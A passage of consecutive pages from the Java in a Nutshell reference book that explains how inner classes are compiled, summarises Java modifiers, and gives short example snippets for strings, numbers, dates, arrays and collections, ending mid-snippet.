Inner classes were introduced in Java 1.1. Despite the dramatic changes to the Java language, the introduction of inner classes did not change the Java Virtual Machine or the Java class file format. As far as the Java interpreter is concerned, there is no such thing as an inner class: all classes are normal top-level classes. In order to make an inner class behave as if it is actually defined inside another class, the Java compiler ends up inserting hidden fields, methods, and constructor arguments into the classes it generates. You may want to use the javap disassembler to disassemble some of the class files for inner classes so you can see what tricks the compiler has used to make inner classes work. (See Chapter 8, "Java Development Tools", for information on javap.)

3.13.1. Static Member Class Implementation

Recall our first LinkedStack example (Example 3-8), which defined a static member interface named Linkable. When you compile this LinkedStack class, the compiler actually generates two class files. The first one is LinkedStack.class, as expected. The second class file, however, is called LinkedStack$Linkable.class. The $ in this name is automatically inserted by the Java compiler. This second class file contains the implementation of the static member interface.

As we discussed earlier, a static member class can access all the static members of its containing class. If a static member class does this, the compiler automatically qualifies the member access expression with the name of the containing class. A static member class is even allowed to access the privatestatic fields of its containing class. Since the static member class is compiled into an ordinary top-level class, however, there is no way it can directly access the private members of its container. Therefore, if a static member class uses a private member of its containing class (or vice versa), the compiler automatically generates non-private access methods and converts the expressions that access the private members into expressions that access these specially generated methods. These methods are given the default package access, which is sufficient, as the member class and its containing class are guaranteed to be in the same package.

3.13.2. Member Class Implementation

A member class is implemented much like a static member class. It is compiled into a separate top-level class file, and the compiler performs various code manipulations to make interclass member access work correctly.

The most significant difference between a member class and a static member class is that each instance of a member class is associated with an instance of the enclosing class. The compiler enforces this association by defining a synthetic field named this$0 in each member class. This field is used to hold a reference to the enclosing instance. Every member class constructor is given an extra parameter that initializes this field. Every time a member class constructor is invoked, the compiler automatically passes a reference to the enclosing class for this extra parameter.

As we've seen, a member class, like any member of a class, can be declared public, protected, or private, or given the default package visibility. However, as I mentioned earlier, there have been no changes to the Java Virtual Machine to support member classes. Member classes are compiled to class files just like top-level classes, but top-level classes can only have public or package access. Therefore, as far as the Java interpreter is concerned, member classes can only have public or package visibility. This means that a member class declared protected is actually treated as a public class, and a member class declared private actually has package visibility. This does not mean you should never declare a member class as protected or private. Although the interpreter cannot enforce these access control modifiers, the modifiers are noted in the class file. This allows any conforming Java compiler to enforce the access modifiers and prevent the member classes from being accessed in unintended ways.

3.13.3. Local and Anonymous Class Implementation

A local class is able to refer to fields and methods in its containing class for exactly the same reason that a member class can; it is passed a hidden reference to the containing class in its constructor and saves that reference away in a private field added by the compiler. Also, like member classes, local classes can use private fields and methods of their containing class because the compiler inserts any required accessor methods.

What makes local classes different from member classes is that they have the ability to refer to local variables in the scope that defines them. The crucial restriction on this ability, however, is that local classes can only reference local variables and parameters that are declared final. The reason for this restriction becomes apparent from the implementation. A local class can use local variables because the compiler automatically gives the class a private instance field to hold a copy of each local variable the class uses. The compiler also adds hidden parameters to each local class constructor to initialize these automatically created private fields. Thus, a local class does not actually access local variables, but merely its own private copies of them. The only way this can work correctly is if the local variables are declared final, so that they are guaranteed not to change. With this guarantee, the local class can be assured that its internal copies of the variables are always in sync with the real local variables.

Since anonymous classes have no names, you may wonder what the class files that represent them are named. This is an implementation detail, but the Java compiler from Sun uses numbers to provide anonymous class names. If you compile the example shown in Example 3-11, you'll find that it produces a file with a name like LinkedStack$1.class. This is the class file for the anonymous class.

Previous | Home | Next
3.12. Anonymous Classes | Book Index | 3.14. Modifier Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Modifier Summary (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.14. Modifier Summary

As we've seen, classes, interfaces, and their members can be declared with one or more modifiers--keywords such as public, static, and final. This chapter has introduced the public, protected, and private access modifiers, as well as the abstract, final, and static modifiers. In addition to these six, Java defines five other less commonly used modifiers. Table 3-2 lists the Java modifiers, explains what types of Java constructs they can modify, and explains what they do.

Table 3-2. Java Modifiers

Modifier | Used on | Meaning
abstract | class | The class contains unimplemented methods and cannot be instantiated.
 | interface | All interfaces are abstract. The modifier is optional in interface declarations.
abstract | method | No body is provided for the method; it is provided by a subclass. The signature is followed by a semicolon. The enclosing class must also be abstract.
final | class | The class cannot be subclassed.
 | method | The method cannot be overridden (and is not subject to dynamic method lookup).
 | field | The field cannot have its value changed. static final fields are compile-time constants.
 | variable | A local variable, method parameter, or exception parameter cannot have its value changed ( Java 1.1 and later). Useful with local classes.
native | method | The method is implemented in some platform-dependent way (often in C). No body is provided; the signature is followed by a semicolon.
none (package) | class | A non-public class is accessible only in its package.
 | interface | A non-public interface is accessible only in its package.
 | member | A member that is not private, protected, or public has package visibility and is accessible only within its package.
private | member | The member is accessible only within the class that defines it.
protected | member | The member is accessible only within the package in which it is defined and within subclasses.
public | class | The class is accessible anywhere its package is.
 | interface | The interface is accessible anywhere its package is.
 | member | The member is accessible anywhere its class is.
strictfp | class | All methods of the class are implicitly strictfp ( Java 1.2 and later).
strictfp | method | All floating-point computation done by the method must be performed in a way that strictly conforms to the IEEE 754 standard. In particular, all values, including intermediate results, must be expressed as IEEE float or double values and cannot take advantage of any extra precision or range offered by native platform floating-point formats or hardware ( Java 1.2 and later). This modifier is rarely used.
static | class | An inner class declared static is a top-level class, not associated with a member of the containing class (Java 1.1 and later).
 | method | A static method is a class method. It is not passed an implicit this object reference. It can be invoked through the class name.
 | field | A static field is a class field. There is only one instance of the field, regardless of the number of class instances created. It can be accessed through the class name.
 | initializer | The initializer is run when the class is loaded, rather than when an instance is created.
synchronized | method | The method makes non-atomic modifications to the class or instance, so care must be taken to ensure that two threads cannot modify the class or instance at the same time. For a static method, a lock for the class is acquired before executing the method. For a non-static method, a lock for the specific object instance is acquired.
transient | field | The field is not part of the persistent state of the object and should not be serialized with the object. Used with object serialization; see java.io.ObjectOutputStream.
volatile | field | The field can be accessed by unsynchronized threads, so certain optimizations must not be performed on it. This modifier can sometimes be used as an alternative to synchronized. This modifier is very rarely used.
Previous | Home | Next
3.13. How Inner Classes Work | Book Index | 3.15. C++ Features Not Found in Java
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


C++ Features Not Found in Java (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.15. C++ Features Not Found in Java

Throughout this chapter, I've noted similarities and differences between Java and C++ in footnotes. Java shares enough concepts and features with C++ to make it an easy language for C++ programmers to pick up. There are several features of C++ that have no parallel in Java, however. In general, Java does not adopt those features of C++ that make the language significantly more complicated.

C++ supports multiple inheritance of method implementations from more than one superclass at a time. While this seems like a useful feature, it actually introduces many complexities to the language. The Java language designers chose to avoid the added complexity by using interfaces instead. Thus, a class in Java can inherit method implementations only from a single superclass, but it can inherit method declarations from any number of interfaces.

C++ supports templates that allow you, for example, to implement a Stack class and then instantiate it as Stack<int> or Stack<double> to produce two separate types: a stack of integers and a stack of floating-point values. Java does not allow this, but efforts are underway to add this feature to the language in a robust and standardized way. Furthermore, the fact that every class in Java is a subclass of Object means that every object can be cast to an instance of Object. Thus, in Java it is often sufficient to define a data structure (such as a Stack class) that operates on Object values; the objects can be cast back to their actual types whenever necessary.

C++ allows you to define operators that perform arbitrary operations on instances of your classes. In effect, it allows you to extend the syntax of the language. This is a nifty feature, called operator overloading, that makes for elegant examples. In practice, however, it tends to make code quite difficult to understand. After much debate, the Java language designers decided to omit such operator overloading from the language. Note, though, that the use of the + operator for string concatenation in Java is at least reminiscent of operator overloading.

C++ allows you to define conversion functions for a class that automatically invoke an appropriate constructor method when a value is assigned to a variable of that class. This is simply a syntactic shortcut (similar to overriding the assignment operator) and is not included in Java.

In C++, objects are manipulated by value by default; you must use & to specify a variable or function argument automatically manipulated by reference. In Java, all objects are manipulated by reference, so there is no need for this & syntax.

Previous | Home | Next
3.14. Modifier Summary | Book Index | 4. The Java Platform
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Java Platform (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 4. The Java Platform

Contents:

Java Platform Overview
Strings and Characters
Numbers and Math
Dates and Times
Arrays
Collections
Types, Reflection, and Dynamic Loading
Threads
Files and Directories
Input and Output Streams
Networking
Processes
Security
Cryptography

Chapter 2, "Java Syntax from the Ground Up", and Chapter 3, "Object-Oriented Programming in Java", documented the Java programming language. This chapter switches gears and covers the Java platform, which is the vast collection of predefined classes available to every Java program, regardless of the underlying host system on which it is running. The classes of the Java platform are collected into related groups, known as packages. This chapter begins with an overview of the packages of the Java platform that are documented in this book. It then moves on to demonstrate, in the form of short examples, the most useful classes in these packages.

4.1. Java Platform Overview

Table 4-1 summarizes the key packages of the Java platform that are covered in this book.

Table 4-1. Key Packages of the Java Platform

Package | Description
java.beans | The JavaBeans component model for reusable, embeddable software components.
java.beans.beancontext | Additional classes that define bean context objects that hold and provide services to the JavaBeans objects they contain.
java.io | Classes and interfaces for input and output. Although some of the classes in this package are for working directly with files, most are for working with streams of bytes or characters.
java.lang | The core classes of the language, such as String, Math, System, Thread, and Exception.
java.lang.ref | Classes that define weak references to objects. A weak reference is one that does not prevent the referent object from being garbage-collected.
java.lang.reflect | Classes and interfaces that allow Java programs to reflect on themselves by examining the constructors, methods, and fields of classes.
java.math | A small package that contains classes for arbitrary-precision integer and floating-point arithmetic.
java.net | Classes and interfaces for networking with other systems.
java.security | Classes and interfaces for access control and authentication. Supports cryptographic message digests and digital signatures.
java.security.acl | A package that supports access control lists. Deprecated and unused as of Java 1.2.
java.security.cert | Classes and interfaces for working with public key certificates.
java.security.interfaces | Interfaces used with DSA and RSA public-key encryption.
java.security.spec | Classes and interfaces for transparent representations of keys and parameters used in public-key cryptography.
java.text | Classes and interfaces for working with text in internationalized applications.
java.util | Various utility classes, including the powerful collections framework for working with collections of objects.
java.util.jar | Classes for reading and writing JAR files.
java.util.zip | Classes for reading and writing ZIP files.
javax.crypto | Classes and interfaces for encryption and decryption of data.
javax.crypto.interfaces | Interfaces that represent the Diffie-Hellman public/private keys used in the Diffie-Hellman key agreement protocol.
javax.crypto.spec | Classes that define transparent representations of keys and parameters used in cryptography.

Table 4-1 does not list all the packages in the Java platform, only those documented in this book. Java also defines numerous packages for graphics and graphical user interface programming and for distributed, or enterprise, computing. The graphics and GUI packages are java.awt and javax.swing and their many subpackages. These packages, along with the java.applet package, are documented in Java Foundation Classes in a Nutshell (O'Reilly). The enterprise packages of Java include java.rmi, java.sql, javax.jndi, org.omg.CORBA, org.omg.CosNaming, and all of their subpackages. These packages, as well as several standard extensions to the Java platform, are documented in the book Java Enterprise in a Nutshell (O'Reilly).

Previous | Home | Next
3.15. C++ Features Not Found in Java | Book Index | 4.2. Strings and Characters
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Strings and Characters (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.2. Strings and Characters

Strings of text are a fundamental and commonly used data type. In Java, however, strings are not a primitive type, like char, int, and float. Instead, strings are represented by the java.lang.String class, which defines many useful methods for manipulating strings. String are immutable : once a String object has been created, there is no way to modify the string of text it represents. Thus, each method that operates on a string typically returns a new String object that holds the modified string.

This code shows some of the basic operations you can perform on strings:

// Creating strings
String s = "Now";               // String objects have a special literal syntax
String t = s + " is the time."; // Concatenate strings with + operator
String t1 = s + " " + 23.4;     // + converts other values to strings
t1 = String.valueOf('c');       // Get string corresponding to char value
t1 = String.valueOf(42);        // Get string version of integer or any value
t1 = Object.toString();         // Convert objects to strings with toString()

// String length
int len = t.length();           // Number of characters in the string: 16

// Substrings of a string
String sub = t.substring(4);    // Returns char 4 to end: "is the time."
sub = t.substring(4, 6);        // Returns chars 4 and 5: "is"
sub = t.substring(0, 3);        // Returns chars 0 through 2: "Now"
sub = t.substring(x, y);        // Returns chars between pos x and y-1
int numchars = sub.length();    // Length of substring is always (y-x)

// Extracting characters from a string
char c = t.charAt(2);           // Get the 3rd character of t: w
char[] ca = t.toCharArray();    // Convert string to an array of characters
t.getChars(0, 3, ca, 1);        // Put 1st 4 chars of s into ca at position 2

// Case conversion
String caps = t.toUpperCase();  // Convert to uppercase
String lower = t.toLowerCase(); // Convert to lowercase

// Comparing strings
boolean b1 = t.equals("hello");         // Returns false: strings not equal
boolean b2 = t.equalsIgnoreCase(caps);  // Case-insensitive compare: true
boolean b3 = t.startsWith("Now");       // Returns true
boolean b4 = t.endsWith("time.");       // Returns true
int r1 = s.compareTo("Pow");            // Returns < 0: s comes before "Pow"
int r2 = s.compareTo("Now");            // Returns 0: strings are equal
int r3 = s.compareTo("Mow");            // Returns > 0: s comes after "Mow"
r1 = s.compareToIgnoreCase("pow");      // Returns < 0 (Java 1.2 and later)

// Searching for characters and substrings
int pos = t.indexOf('i');         // Position of first 'i': 4
pos = t.indexOf('i', pos+1);      // Position of the next 'i': 12
pos = t.indexOf('i', pos+1);      // No more 'i's in string, returns -1
pos = t.lastIndexOf('i');         // Position of last 'i' in string: 12
pos = t.lastIndexOf('i', pos-1);  // Search backwards for 'i' from char 11

pos = t.indexOf("is");            // Search for substring: returns 4
pos = t.indexOf("is", pos+1);     // Only appears once: returns -1
pos = t.lastIndexOf("the ");      // Search backwards for a string
String noun = t.substring(pos+4); // Extract word following "the"

// Replace all instances of one character with another character
String exclaim = t.replace('.', '!');  // Only works with chars, not substrings

// Strip blank space off the beginning and end of a string
String noextraspaces = t.trim();

// Obtain unique instances of strings with intern()
String s1 = s.intern();        // Returns s1 equal to s
String s2 = "Now".intern();    // Returns s2 equal to "Now"
boolean equals = (s1 == s2);   // Now can test for equality with ==

Since String objects are immutable, you cannot manipulate the characters of a String in place. If you need to do this, use a java.lang.StringBuffer instead:

// Create a string buffer from a string
StringBuffer b = new StringBuffer("Mow");

// Get and set individual characters of the StringBuffer
char c = b.charAt(0);        // Returns 'M': just like String.charAt()
b.setCharAt(0, 'N');         // b holds "Now": can't do that with a String!

// Append to a StringBuffer
b.append(' ');               // Append a character
b.append("is the time.");    // Append a string
b.append(23);                // Append an integer or any other value

// Insert Strings or other values into a StringBuffer
b.insert(6, "n't");          // b now holds: "Now isn't the time.23"

// Replace a range of characters with a string (Java 1.2 and later)
b.replace(4, 9, "is");       // Back to "Now is the time.23"

// Delete characters
b.delete(16, 18);            // Delete a range: "Now is the time"
b.deleteCharAt(2);           // Delete 2nd character: "No is the time"
b.setLength(5);              // Truncate by setting the length: "No is"

// Other useful operations
b.reverse();                 // Reverse characters: "si oN"
String s = b.toString();     // Convert back to an immutable string
s = b.substring(1,2);        // Or take a substring: "i"
b.setLength(0);              // Erase buffer; now it is ready for reuse

In addition to the String and StringBuffer classes, there are a number of other Java classes that operate on strings. One notable class is java.util.StringTokenizer, which you can use to break a string of text into its component words:

String s = "Now is the time";
java.util.StringTokenizer st = new java.util.StringTokenizer(s);
while(st.hasMoreTokens()) {
  System.out.println(st.nextToken());
}

You can even use this class to tokenize words that are delimited by characters other than spaces:

String s = "a:b:c:d";
java.util.StringTokenizer st = new java.util.StringTokenizer(s, ":");

As you know, individual characters are represented in Java by the primitive char type. The Java platform also defines a Character class, which defines useful class methods for checking the type of a character and converting the case of a character. For example:

char[] text;  // An array of characters, initialized somewhere else
int p = 0;    // Our current position in the array of characters
// Skip leading whitespace
while((p < text.length) && Character.isWhitespace(text[p])) p++;
// Capitalize the first word of text
while((p < text.length) && Character.isLetter(text[p])) {
  text[p] = Character.toUpperCase(text[p]);
  p++;
}

The compareTo() and equals() methods of the String class allow you to compare strings. compareTo() bases its comparison on the character order defined by the Unicode encoding, while equals() defines string equality as strict character-by-character equality. These are not always the right methods to use, however. In some languages, the character ordering imposed by the Unicode standard does not match the dictionary ordering used when alphabetizing strings. In Spanish, for example, the letters "ch" are considered a single letter that comes after "c" and before "d." When comparing human-readable strings in an internationalized application, you should use the java.text.Collator class instead:

import java.text.*;

// Compare two strings; results depend on where the program is run
// Return values of Collator.compare() have same meanings as String.compareTo()
Collator c = Collator.getInstance();       // Get Collator for current locale
int result = c.compare("chica", "coche");  // Use it to compare two strings

Previous | Home | Next
4.1. Java Platform Overview | Book Index | 4.3. Numbers and Math
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Numbers and Math (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.3. Numbers and Math

Java provides the byte, short, int, long, float, and double primitive types for representing numbers. The java.lang package includes the corresponding Byte, Short, Integer, Long, Float, and Double classes, each of which is a subclass of Number. These classes can be useful as object wrappers around their primitive types, and they also define some useful constants:

// Integral range constants: Integer, Long, and Character also define these
Byte.MIN_VALUE      // The smallest (most negative) byte value
Byte.MAX_VALUE      // The largest byte value
Short.MIN_VALUE     // The most negative short value
Short.MAX_VALUE     // The largest short value

// Floating-point range constants: Double also defines these
Float.MIN_VALUE     // Smallest (closest to zero) positive float value
Float.MAX_VALUE     // Largest positive float value

// Other useful constants
Math.PI             // 3.14159265358979323846
Math.E              // 2.7182818284590452354

A Java program that operates on numbers must get its input values from somewhere. Often, such a program reads a textual representation of a number and must convert it to a numeric representation. The various Number subclasses define useful conversion methods:

String s = "-42";
byte b = Byte.parseByte(s);             // s as a byte
short sh = Short.parseShort(sh);        // s as a short
int i = Integer.parseInt(s);            // s as an int
long l = Long.parseLong(s);             // s as a long
float f = Float.parseFloat(s);          // s as a float (Java 1.2 and later)
f = Float.valueOf(s).floatValue();      // s as a float (prior to Java 1.2)
double d = Double.parseDouble(s);       // s as a double (Java 1.2 and later)
d = Double.valueOf(s).doubleValue();    // s as a double (prior to Java 1.2)

// The integer conversion routines handle numbers in other bases
byte b = Byte.parseByte("1011", 2);      // 1011 in binary is 11 in decimal
short sh = Short.parseShort("ff", 16);   // ff in base 16 is 255 in decimal

// The valueOf() method can handle arbitrary bases
int i = Integer.valueOf("egg", 17).intValue();   // Base 17!

// The decode() method handles octal, decimal, or hexadecimal, depending
// on the numeric prefix of the string
short sh = Short.decode("0377").byteValue();   // Leading 0 means base 8
int i = Integer.decode("0xff").shortValue();   // Leading 0x means base 16
long l = Long.decode("255").intValue();        // Other numbers mean base 10

// Integer class can convert numbers to strings
String decimal = Integer.toString(42);
String binary = Integer.toBinaryString(42);
String octal = Integer.toOctalString(42);
String hex = Integer.toHexString(42);
String base36 = Integer.toString(42, 36);

Numeric values are often printed differently in different countries. For example, many European languages use a comma to separate the integral part of a floating-point value from the fractional part (instead of a decimal point). Formatting differences can diverge even further when displaying numbers that represent monetary values. When converting numbers to strings for display, therefore, it is best to use the java.text.NumberFormat class to perform the conversion in a locale-specific way:

import java.text.*;

// Use NumberFormat to format and parse numbers for the current locale
NumberFormat nf = NumberFormat.getNumberInstance();  // Get a NumberFormat
System.out.println(nf.format(9876543.21)); // Format number for current locale
try {
  Number n = nf.parse("1.234.567,89");     // Parse strings according to locale
} catch (ParseException e) { /* Handle exception */ }

// Monetary values are sometimes formatted differently than other numbers
NumberFormat moneyFmt = NumberFormat.getCurrencyInstance();
System.out.println(moneyFmt.format(1234.56)); // Prints $1,234.56 in U.S.

The Math class defines a number of methods that provide trigonometric, logarithmic, exponential, and rounding operations, among others. This class is primarily useful with floating-point values. For the trigonometric functions, angles are expressed in radians. The logarithm and exponentiation functions are base e, not base 10. Here are some examples:

double d = Math.toRadians(27);       // Convert 27 degrees to radians
d = Math.cos(d);                     // Take the cosine
d = Math.sqrt(d);                    // Take the square root
d = Math.log(d);                     // Take the natural logarithm
d = Math.exp(d);                     // Do the inverse: e to the power d
d = Math.pow(10, d);                 // Raise 10 to this power
d = Math.atan(d);                    // Compute the arc tangent
d = Math.toDegrees(d);               // Convert back to degrees
double up = Math.ceil(d);            // Round to ceiling
double down = Math.floor(d);         // Round to floor
long nearest = Math.round(d);        // Round to nearest

The Math class also defines a rudimentary method for generating pseudo-random numbers, but the java.util.Random class is more flexible. If you need very random pseudo-random numbers, you can use the java.security.SecureRandom class:

// A simple random number
double r = Math.random();     // Returns d such that: 0.0 <= d < 1.0

// Create a new Random object, seeding with the current time
java.util.Random generator = new java.util.Random(System.currentTimeMillis());
double d = generator.nextDouble();   // 0.0 <= d < 1.0
float f = generator.nextFloat();     // 0.0 <= d < 1.0
long l = generator.nextLong();       // Chosen from the entire range of long
int i = generator.nextInt();         // Chosen from the entire range of int
i = generator.nextInt(limit);        // 0 <= i < limit (Java 1.2 and later)
boolean b = generator.nextBoolean(); // true or false (Java 1.2 and later)
d = generator.nextGaussian();        // Mean value: 0.0; std. deviation: 1.0
byte[] randomBytes = new byte[128];
generator.nextBytes(randomBytes);    // Fill in array with random bytes

// For cryptographic strength random numbers, use the SecureRandom subclass
java.security.SecureRandom generator2 = new java.security.SecureRandom();
// Have the generator generate its own 16-byte seed; takes a *long* time
generator2.setSeed(generator2.generateSeed(16));  // Extra random 16-byte seed
// Then use SecureRandom like any other Random object
generator2.nextBytes(randomBytes);   // Generate more random bytes

The java.math package contains the BigInteger and BigDecimal classes. These classes allow you to work with arbitrary-size and arbitrary-precision integers and floating-point values. For example:

import java.math.*;

// Compute the factorial of 1000
BigInteger total = BigInteger.valueOf(1);
for(int i = 2; i <= 1000; i++)
  total = total.multiply(BigInteger.valueOf(i));
System.out.println(total.toString());

Previous | Home | Next
4.2. Strings and Characters | Book Index | 4.4. Dates and Times
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Dates and Times (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.4. Dates and Times

Java uses several different classes for working with dates and times. The java.util.Date class represents an instant in time (precise down to the millisecond). This class is nothing more than a wrapper around a long value that holds the number of milliseconds since midnight GMT, January 1, 1970. Here are two ways to determine the current time:

long t0 = System.currentTimeMillis();      // Current time in milliseconds
java.util.Date now = new java.util.Date(); // Basically the same thing
long t1 = now.getTime();                   // Convert a Date to a long value

The Date class has a number of interesting-sounding methods, but almost all of them have been deprecated in favor of methods of the java.util.Calendar and java.text.DateFormat classes. To print a date or a time, use the DateFormat class, which automatically handles locale-specific conventions for date and time formatting. DateFormat even works correctly in locales that use a calendar other than the common era (Gregorian) calendar in use in much of the world:

import java.util.Date;
import java.text.*;

// Display today's date using a default format for the current locale
DateFormat defaultDate = DateFormat.getDateInstance();
System.out.println(defaultDate.format(new Date()));

// Display the current time using a short time format for the current locale
DateFormat shortTime = DateFormat.getTimeInstance(DateFormat.SHORT);
System.out.println(shortTime.format(new Date()));

// Display date and time using a long format for both
DateFormat longTimestamp =
  DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
System.out.println(longTimestamp.format(new Date()));

// Use SimpleDateFormat to define your own formatting template
// See java.text.SimpleDateFormat for the template syntax
DateFormat myformat = new SimpleDateFormat("yyyy.MM.dd");
System.out.println(myformat.format(new Date()));
try {   // DateFormat can parse dates too
  Date leapday = myformat.parse("2000.02.29");
}
catch (ParseException e) { /* Handle parsing exception */ }

The Date class and its millisecond representation allow only a very simple form of date arithmetic:

long now = System.currentTimeMillis();         // The current time
long anHourFromNow = now + (60 * 60 * 1000);   // Add 3,600,000 milliseconds

To perform more sophisticated date and time arithmetic and manipulate dates in ways humans (rather than computers) typically care about, use the java.util.Calendar class:

import java.util.*;

// Get a Calendar for current locale and time zone
Calendar cal = Calendar.getInstance();

// Figure out what day of the year today is
cal.setTime(new Date());                        // Set to the current time
int dayOfYear = cal.get(Calendar.DAY_OF_YEAR);  // What day of the year is it?

// What day of the week does the leap day in the year 2000 occur on?
cal.set(2000, Calendar.FEBRUARY, 29);           // Set year, month, day fields
int dayOfWeek = cal.get(Calendar.DAY_OF_WEEK);  // Query a different field

// What day of the month is the 3rd Thursday of May, 2001?
cal.set(Calendar.YEAR, 2001);                      // Set the year
cal.set(Calendar.MONTH, Calendar.MAY);             // Set the month
cal.set(Calendar.DAY_OF_WEEK, Calendar.THURSDAY);  // Set the day of week
cal.set(Calendar.DAY_OF_WEEK_IN_MONTH, 3);         // Set the week
int dayOfMonth = cal.get(Calendar.DAY_OF_MONTH);   // Query the day in month

// Get a Date object that represents 30 days from now
Date today = new Date();                   // Current date
cal.setTime(today);                        // Set it in the Calendar object
cal.add(Calendar.DATE, 30);                // Add 30 days
Date expiration = cal.getTime();           // Retrieve the resulting date

Previous | Home | Next
4.3. Numbers and Math | Book Index | 4.5. Arrays
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Arrays (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.5. Arrays

The java.lang.System class defines an arraycopy() method that is useful for copying specified elements in one array to a specified position in a second array. The second array must be the same type as the first, and it can even be the same array:

char[] text = "Now is the time".toCharArray();
char[] copy = new char[100];
// Copy 10 characters from element 4 of text into copy, starting at copy[0]
System.arraycopy(text, 4, copy, 0, 10);

// Move some of the text to later elements, making room for insertions
System.arraycopy(copy, 3, copy, 6, 7);

In Java 1.2 and later, the java.util.Arrays class defines useful array-manipulation methods, including methods for sorting and searching arrays:

import java.util.Arrays;

int[] intarray = new int[] { 10, 5, 7, -3 }; // An array of integers
Arrays.sort(intarray);                       // Sort it in place
int pos = Arrays.binarySearch(intarray, 7);  // Value 7 is found at index 2
pos = Arrays.binarySearch(intarray, 12);     // Not found: negative return value

// Arrays of objects can be sorted and searched too
String[] strarray = new String[] { "now", "is", "the", "time" };
Arrays.sort(strarray);      // { "is", "now", "the", "time" }

// Arrays.equals() compares all elements of two arrays
String[] clone = (String[]) strarray.clone();
boolean b1 = Arrays.equals(strarray, clone);  // Yes, they're equal

// Arrays.fill() initializes array elements
byte[] data = new byte[100];          // An empty array; elements set to 0
Arrays.fill(data, (byte) -1);         // Set them all to -1
Arrays.fill(data, 5, 10, (byte) -2);  // Set elements 5, 6, 7, 8, 9 to -2

Arrays can be treated and manipulated as objects in Java. Given an arbitrary object o, you can use code such as the following to find out if the object is an array and, if so, what type of array it is:

Class type = o.getClass();
if (type.isArray()) {
  Class elementType = type.getComponentType();
}

Previous | Home | Next
4.4. Dates and Times | Book Index | 4.6. Collections
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Collections (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.6. Collections

The Java collection framework is a set of important utility classes and interfaces in the java.util package for working with collections of objects. The collection framework defines two fundamental types of collections. A Collection is a group of objects, while a Map is a set of mappings, or associations, between objects. A Set is a type of Collection in which there are no duplicates, and a List is a Collection in which the elements are ordered. Collection, Set, List, and Map are all interfaces, but the java.util package also defines various concrete implementations (see Chapter 23, "The java.util Package"). Other important interfaces are Iterator and ListIterator, which allow you to loop through the objects in a collection. The collection framework is new as of Java 1.2, but prior to that release you can use Vector and Hashtable, which are approximately the same as ArrayList and HashMap.

The following code demonstrates how you might create and perform basic manipulations on sets, lists, and maps:

import java.util.*;

Set s = new HashSet();           // Implementation based on a hash table
s.add("test");                   // Add a String object to the set
boolean b = s.contains("test2"); // Check whether a set contains an object
s.remove("test");                // Remove a member from a set

Set ss = new TreeSet();          // TreeSet implements SortedSet
ss.add("b");                     // Add some elements
ss.add("a");
// Now iterate through the elements (in sorted order) and print them
for(Iterator i = ss.iterator(); i.hasNext();)
  System.out.println(i.next());

List l = new LinkedList();       // LinkedList implements a doubly linked list
l = new ArrayList();             // ArrayList is more efficient, usually
Vector v = new Vector();         // Vector is an alternative in Java 1.1/1.0
l.addAll(ss);                    // Append some elements to it
l.addAll(1, ss);                 // Insert the elements again at index 1
Object o = l.get(1);             // Get the second element
l.set(3, "new element");         // Set the fourth element
l.add("test");                   // Append a new element to the end
l.add(0, "test2");               // Insert a new element at the start
l.remove(1);                     // Remove the second element
l.remove("a");                   // Remove the element "a"
l.removeAll(ss);                 // Remove elements from this set
if (!l.isEmpty())                // If list is not empty,
  System.out.println(l.size());  // print out the number of elements in it
boolean b1 = l.contains("a");    // Does it contain this value?
boolean b2 = l.containsAll(ss);  // Does it contain all these values?
List sublist = l.subList(1,3);   // A sublist of the 2nd and 3rd elements
Object[] elements = l.toArray(); // Convert it to an array
l.clear();                       // Delete all elements

Map m = new HashMap();           // Hashtable an alternative in Java 1.1/1.0
m.put("key", new Integer(42));   // Associate a value object with a key object
Object value = m.get("key");     // Look up the value associated with a key
m.remove("key");                 // Remove the association from the Map
Set keys = m.keySet();           // Get the set of keys held by the Map

Arrays of objects and collections serve similar purposes. It is possible to convert from one to the other:

Object[] members = set.toArray();         // Get set elements as an array
Object[] items = list.toArray();          // Get list elements as an array
Object[] keys = map.keySet().toArray();   // Get map key objects as an array
Object[] values = map.values().toArray(); // Get map value objects as an array

List l = Arrays.asList(a);                // View array as an ungrowable list
List l = new ArrayList(Arrays.asList(a)); // Make a growable copy of it

Just as the java.util.Arrays class defined methods to operate on arrays, the java.util.Collections class defines methods to operate on collections. Most notable are methods to sort and search the elements of collections:

Collections.sort(list);
int pos = Collections.binarySearch(list, "key"); // list must be sorted first

Here are some other interesting Collections methods:

Collections.copy(list1, list2); // Copy list2 into list1, overwriting list1
Collections.fill(list, o);      // Fill list with Object o
Collections.max(c);             // Find the largest element in Collection c
Collections.min(c);             // Find the smallest element in Collection c
Collections.reverse(list);      // Reverse list
Collections.shuffle(list);      // Mix up list

Set s = Collections.singleton(o); // Return an immutable set with one element o
List ul = Collections.unmodifiableList(list); // Immutable wrapper for list
Map sm = Collections.synchronizedMap(map);    // Synchronized wrapper for map

One particularly useful collection class is java.util.Properties. Properties is a subclass of Hashtable that predates the collections framework of Java 1.2, making it a legacy collection. A Properties object maintains a mapping between string keys and string values, and defines methods that allow the mappings to be written to and read from a simple-format text file. This makes the Properties class ideal for configuration and user preference files. The Properties class is also used for the system properties returned by System.getProperty():

import java.util.*;
import java.io.*;

String homedir = System.getProperty("user.home");  // Get a system property
Properties sysprops = System.getProperties();      // Get all system properties

// Print the names of all defined system properties
for(Enumeration e = sysprops.propertyNames(); e.hasMoreElements();)
  System.out.println(e.nextElement());

sysprops.list(System.out);  // Here's an even easier way to list the properties

// Read properties from a configuration file
Properties options = new Properties();             // Empty properties list
File configfile = new File(homedir, ".config");    // The configuration file
try {
